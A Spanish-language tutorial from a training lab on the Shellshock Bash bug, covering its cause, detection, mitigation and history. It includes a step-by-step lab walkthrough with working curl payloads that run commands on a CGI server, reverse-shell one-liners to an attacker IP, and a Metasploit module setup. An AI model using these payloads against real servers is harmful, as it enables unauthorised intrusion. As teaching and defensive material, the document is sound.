Shellshock: el bug de Bash que todavía aparece en servidores viejos
· 10 min de lectura
Aprende cómo funciona CVE-2014-6271, por qué un CGI mal configurado hoy sigue siendo RCE, cómo detectarlo y cómo explotarlo paso a paso. Reproducible en labs como recon-chain.
En septiembre de 2014 se hizo público uno de los bugs más impactantes de la historia moderna de la seguridad: Shellshock, también conocido como CVE-2014-6271. Afectaba a Bash, la shell por defecto de prácticamente todo Linux y de macOS, y permitía ejecutar código arbitrario simplemente enviando una variable de entorno cuidadosamente construida a cualquier proceso que iniciara una subshell. Durante días, millones de servidores en Internet fueron vulnerables. Hoy, más de diez años después, sigue apareciendo en sistemas antiguos olvidados en el borde de la red.
Entenderlo completo es importante: es uno de esos CVE que se explican con un par de líneas y revelan una filosofía de diseño incorrecta. Y es, además, un vector perfecto para labs de encadenamiento, porque suele estar detrás de servicios CGI en servidores web viejos, en interfaces de administración de routers baratos, en dispositivos IoT desatendidos. Si te encuentras un CGI en una auditoría, Shellshock es la primera prueba.
En esta lección vas a ver el bug en sí, el flujo clásico de explotación por HTTP, variantes por DHCP y SSH, detección y mitigación. Todo reproducible en el laboratorio recon-chain de whoami-labs.
Pruébalo solo en sistemas autorizados y en los laboratorios. Explotar Shellshock en servidores ajenos sin permiso sigue siendo delito aunque el fallo tenga una década.
El bug en una línea#
Antes del parche, Bash evaluaba definiciones de funciones exportadas por variables de entorno y ejecutaba cualquier cosa que viniera después del cierre de la función. En texto plano:
env x='() { :;}; echo VULNERABLE' bash -c 'echo hola'
Lo que debería pasar: Bash ve una variable x con una función vacía, la ignora, y ejecuta echo hola. Lo que pasaba en Bash vulnerable: Bash ejecutaba también el echo VULNERABLE que venía detrás del };. Cualquier comando podía ir ahí.
La prueba rápida de si un Bash está parcheado o no:
env x='() { :;}; echo VULNERABLE' bash -c 'true'
Si imprime VULNERABLE, el sistema es vulnerable a Shellshock en la variante original.
Por qué esto se convirtió en RCE remoto#
Bash puede ser invocada por muchos servicios, y varios de ellos pasan datos del cliente directamente como variables de entorno antes de llamar a Bash. Los más famosos:
- CGI en Apache (
mod_cgi,mod_cgid): cada header HTTP (User-Agent,Cookie,Referer) se pasa como variable de entorno al script. Si el script arranca Bash (porque el#!apunta a/bin/sh, que en Debian antiguo era enlace a Bash, o porque es un Bash script directamente), estás ejecutando código. - DHCP: el cliente DHCP de algunos sistemas interpretaba opciones del servidor como variables, abriendo RCE en la red local.
- SSH con
ForceCommand: configuración de SSH que fuerza un comando al conectar; Bash evaluaba el entorno antes de lanzarlo. - Qmail, Postfix en ciertas configuraciones.
El vector dominante en Internet fue el primero: CGI expuesto por HTTP fue el responsable de la mayoría de compromisos masivos de septiembre y octubre de 2014.

Explotación práctica#
Supón un servidor con un CGI vulnerable en /cgi-bin/status.sh:
Paso 1: detectar#
curl -I http://objetivo.com/cgi-bin/status.sh
Si responde (200/500/503), hay un script CGI al otro lado. El 500 no descarta: a veces el error es el propio Bash vulnerable asustándose por cómo lo llamaste.
Paso 2: probar el payload básico#
curl -H "User-Agent: () { :;}; echo; echo VULNERABLE" \
http://objetivo.com/cgi-bin/status.sh
Si en la respuesta aparece VULNERABLE, confirmado. El echo; echo VULNERABLE manda primero una línea vacía (separa headers del body en HTTP) y luego el texto que verás.
Paso 3: ejecutar comandos reales#
curl -H "User-Agent: () { :;}; echo; /usr/bin/id" \
http://objetivo.com/cgi-bin/status.sh
Devuelve uid=33(www-data) .... RCE confirmado.
Paso 4: reverse shell#
curl -H "User-Agent: () { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1" \
http://objetivo.com/cgi-bin/status.sh
En tu máquina:
nc -lvnp 4444
Cuando el servidor procese la petición, abre la shell reversa. Si Bash no soporta /dev/tcp/ (poco común), hay variantes con python3 -c o perl.
Variante: Metasploit#
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS objetivo.com
set TARGETURI /cgi-bin/status.sh
set LHOST 10.10.14.5
run
Automatiza detección y explotación con payload Meterpreter.
Otras variantes del CVE#
CVE-2014-6271 fue el primero, pero el parche original fue incompleto y surgieron otros CVE relacionados:
| CVE | Qué añade |
|---|---|
| CVE-2014-6271 | Fallo original |
| CVE-2014-7169 | Bypass parcial del primer parche |
| CVE-2014-6277 | Variantes de parser |
| CVE-2014-6278 | Otro bypass por function() |
| CVE-2014-7186 | Off-by-one en redirecciones |
| CVE-2014-7187 | Mismo tipo en pipes (tubería) |
En la práctica, si un sistema no está actualizado al nivel del parche definitivo (bash 4.3 release 25 o posteriores de 2014), suele ser vulnerable a alguna variante. Los exploits públicos cubren todas.
Detección defensiva#

Si administras un sistema potencialmente afectado, estas son las búsquedas útiles:
- Logs de Apache/Nginx:
grep '() { :;};' /var/log/apache2/access.log*. Cualquier aparición confirma intentos de explotación. - Logs de IDS/IPS: Snort y Suricata tienen reglas desde 2014 (
SID 31975y familias). Chequear alertas pasadas. - Versión de Bash:
bash --versionseguido de la pruebaenv x='() { :;}; echo VULNERABLE' bash -c true. - Scanner de red: Nessus, OpenVAS, Nuclei (
shellshock-rce) o un bucle concurlsobre todos los CGI detectados en el directorio.
Mitigación#
- Actualizar Bash al parche correspondiente (todas las distros publicaron paquetes en pocos días).
- Desactivar CGI si no se usa. En Apache:
a2dismod cgiya2dismod cgid. - Reemplazar scripts Bash por scripts con shells más restrictivas (
/bin/dashen Debian/Ubuntu no es vulnerable). - Reglas WAF que bloqueen
() { :;};en headers. - Segmentar red para que sistemas IoT con versiones de Bash muy viejas no sean alcanzables desde Internet.
Por qué sigue apareciendo en 2026#
- IoT y routers baratos: firmwares con Bash 3/4 antiguo que nadie actualiza.
- Servidores legacy: SPARC, AIX, HP-UX con software antiguo y Bash compilado a medida.
- Appliances olvidados: impresoras, cámaras IP, equipos industriales.
- Imágenes Docker viejas: basar un contenedor en una imagen base de 2013/2014 sin parchear replica el bug.
- Sistemas internos: la red corporativa no se audita con la misma frecuencia que la DMZ.
Walkthrough del laboratorio recon-chain#
El lab recon-chain reproduce el patrón clásico de 2014 con una capa de enumeración previa para que practiques el encadenamiento. El flujo recomendado:
Paso 1 — enumeración de puertos:
nmap -sV -sC -p- 10.10.11.100 -oN nmap.txt
Esperas un 80 abierto con Apache versión antigua. El servicio informa de versión en la cabecera Server:.
Paso 2 — descubrir el directorio CGI:
gobuster dir -u http://10.10.11.100/ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-x sh,cgi,pl
Habitualmente aparece /cgi-bin/ y dentro un script tipo status.sh o hello.sh.
Paso 3 — probar detección:
curl -A "() { :;}; echo; echo PWNED" \
http://10.10.11.100/cgi-bin/status.sh
Si en la respuesta aparece PWNED, el camino es el bueno.
Paso 4 — reverse shell:
# Terminal A
nc -lvnp 4444
# Terminal B
curl -A "() { :;}; echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'" \
http://10.10.11.100/cgi-bin/status.sh
Paso 5 — estabilizar TTY y escalar:
Una vez dentro, python3 -c 'import pty; pty.spawn("/bin/bash")' y buscar privesc típico (sudo -l, SUID, kernel, cronjobs). En el lab la salida va encadenada con otro CVE para llegar a root, igual que en la lección «Encadenamiento de vulnerabilidades» de la tanda anterior.
Contexto histórico: el pánico de septiembre 2014#
Cuando Stéphane Chazelas reportó el fallo a Red Hat y se hizo público el 24 de septiembre de 2014, la respuesta fue inmediata y masiva. En las 24 horas siguientes:
- Akamai, Cloudflare y los grandes WAF publicaron reglas de bloqueo globales.
- Los grandes proveedores cloud (AWS, Azure, Google Cloud) empezaron a rotar imágenes base con parches.
- Red Hat, Ubuntu, Debian publicaron paquetes actualizados en horas.
- Botnets maliciosas empezaron a escanear Internet masivamente en pocas horas. Los honeypots registraron intentos de explotación antes incluso del amanecer del día siguiente en Europa.
- Varios worms automáticos aparecieron en días, convirtiendo servidores vulnerables en bots DDoS.
Shellshock aceleró procesos que, en los años siguientes, se convirtieron en estándar: respuesta coordinada industry-wide, pipelines de parcheo rápido en la nube, análisis forense retroactivo en los logs por si se había sido comprometido antes del anuncio. Lecciones que hoy aplicamos a cada CVE crítico que aparece.
Errores comunes del atacante#
- Olvidar la línea en blanco (
echo;) y romper la respuesta HTTP. - Apuntar a un CGI que no invoca Bash directamente (Python, Perl, PHP-FPM: no vulnerables a Shellshock).
- Probar solo contra
/cgi-bin/cuando el servidor la tiene reubicada (buscar en otros paths con wordlist CGI). - Olvidar escapar caracteres especiales en el comando, dando errores parser en el bash vulnerable.
- Suponer que todas las variantes se explotan igual:
CVE-2014-7169necesita payload distinto.
Preguntas frecuentes#
¿Shellshock afecta a zsh o fish?#
No. El bug es específico de Bash. zsh, fish, dash, ksh no tienen el patrón de parseo vulnerable.
¿Mi contenedor Docker está expuesto?#
Si la imagen base es una distro moderna (Debian 11+, Ubuntu 22.04+, Alpine), no. Si es una imagen de 2014 o antes sin actualizar, probablemente sí.
¿Cómo encuentro CGI en un objetivo?#
Fuerza bruta de directorios con una wordlist CGI (/usr/share/seclists/Discovery/Web-Content/CGI-SmallWords.txt), y luego probar cada script con el payload de detección.
¿Los WAFs bloquean Shellshock bien?#
Cloudflare, AWS WAF, Imperva, F5 tienen reglas desde 2014. Las bypassean solo variantes muy exóticas; para servidores detrás de WAF moderno el vector está prácticamente cerrado.
¿Dónde practico?#
En el laboratorio recon-chain de whoami-labs, que encadena un CGI vulnerable a Shellshock con enumeración previa; aprendes a detectar, explotar y encadenar el fallo con lo que ya hayas enumerado.
¿Qué le enseña Shellshock a un desarrollador hoy?#
Que un parser no debería ejecutar nada más allá de lo que explícitamente le pides. El bug nació porque la rutina que montaba funciones a partir de variables de entorno no se detenía en el }: seguía leyendo. Es un ejemplo canónico de confusión entre datos y código, la misma raíz que hay detrás de SQL injection, XSS o deserialización insegura. Cada vez que programas un intérprete o un parser, la pregunta clave es: ¿qué pasa si después del valor esperado llega un carácter inesperado? Si la respuesta es «seguimos ejecutando», tienes un Shellshock esperando a nacer.
¿Por qué el CVE tiene un nombre comercial tan famoso?#
Varios CVE críticos de 2014 (Heartbleed, Shellshock, POODLE) se lanzaron con marca propia, logo y web dedicada. Era una práctica controvertida: para la industria, ayudaba a comunicar la urgencia al público no técnico; para investigadores más clásicos, parecía sobreventa. En retrospectiva funcionó: Shellshock salió en todos los telediarios del mundo y aceleró los parches. El nombre lo acuñó rápido la comunidad porque capturaba exactamente lo que había pasado: la shell había recibido un shock.
¿Se puede explotar sin CGI?#
Sí, si consigues hacer que un proceso lance bash después de inyectar una variable de entorno con el payload. Los vectores no-HTTP son más raros pero existen: git sobre ssh+shell con configuraciones que exportan variables, scripts cron que leen entorno de usuario, servicios systemd mal configurados. En labs y CTFs, 99 % del tiempo el vector es un CGI por HTTP.
Resumen#
- CVE-2014-6271 (Shellshock): Bash evaluaba comandos tras el cierre de funciones exportadas por variables de entorno.
- Vectores: CGI por HTTP (dominante), DHCP, SSH
ForceCommand. - Payload de detección:
User-Agent: () { :;}; echo VULNERABLE. - Explotación directa a RCE o a reverse shell con
/dev/tcp/. - Múltiples CVE relacionados tras parches incompletos.
- Mitigación: actualizar Bash, desactivar CGI no usado, reglas WAF.
- Sigue apareciendo en IoT, appliances, imágenes legacy.